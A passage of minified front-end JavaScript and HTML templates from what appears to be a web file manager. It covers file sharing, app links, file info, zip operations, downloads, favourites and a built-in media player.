t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e); +jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),t+="&access_token="+G.access_token,$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},L=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},N=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},z=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},O=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:O,appAddURL:A,share:f,shareBox:u,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:z,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport()){var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),PDFObject.embed(n,"#"+o)}else core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)))}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(f){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,f(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),f(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),f(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},f=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),u(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},u=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", 